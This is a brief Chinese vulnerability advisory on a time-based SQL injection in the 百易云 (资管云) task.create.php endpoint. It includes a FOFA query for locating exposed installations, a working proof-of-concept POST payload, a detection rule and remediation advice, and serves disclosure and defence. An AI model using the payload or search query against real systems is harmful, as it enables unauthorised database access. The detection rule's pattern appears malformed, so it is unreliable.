

百易云-task.create.php-sql注入

百易云-task.create.php-sql注入，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

百易云

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：body="media/css/uniform.default.css" && body="资管云" || body="不要着急，点此" || title="资管云"

POC/EXP：

```
POST /adminx/task.create.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Connection: keep-alive
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br

msg_id=1%20OR%20(SELECT%201337%20FROM%20(SELECT(SLEEP(5))))xxxx&org_id=
```



sonrt规则:

```
alert http any any -> $HOME_NET any (  
  msg:"百易云 - MySQL Time-Based SQL Injection via task.create.php";  
  flow:to_server,established;  
  http.method; content:"POST";  
  http.uri; content:"/adminx/task.create.php";  
  http.header; content:"Content-Type: application/x-www-form-urlencoded";  
  http.request_body; content:"msg_id=";  
  pcre:"/msg_id=\d+%20OR%20\(SELECT%201337%20FROM%20\(SELECT\ \(SLEEP\  
(5\)\)\)xxxx\)/i";  
  metadata:  
    cve none,  
    service http,  
    affected_product "百易云",  
    vulnerability_type "MySQL Time-Based SQL Injection",  
    attack_target "database_server",  
    severity "high";  
  classtype:sql-injection;  
  sid:1000525;  
  rev:1;  
  priority:1;  
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。